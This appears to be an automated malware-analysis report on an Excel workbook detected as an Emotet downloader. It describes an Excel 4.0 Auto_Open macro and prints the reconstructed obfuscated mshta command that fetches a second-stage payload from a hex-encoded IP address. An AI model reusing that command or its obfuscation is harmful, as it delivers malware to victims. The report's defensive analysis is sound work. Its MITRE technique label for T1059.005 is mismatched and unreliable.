MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Service Execution: Micro Focus Directory Services
T1204.002 Malicious File Execution: Malicious File
The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. The macro executes a command to download a payload from the URL 'http://0xb907d607/fer/fe3.html'. ClamAV also detected this file as 'Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0', strongly suggesting the Emotet family. The reconstructed command 'cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html' indicates the intent to download and execute a second-stage payload.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txtcd5d6e3253e3a898dc9d63d15113da3fd9fff8e87bda9543bb3d23d907be4b46 |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 2903 bytes |
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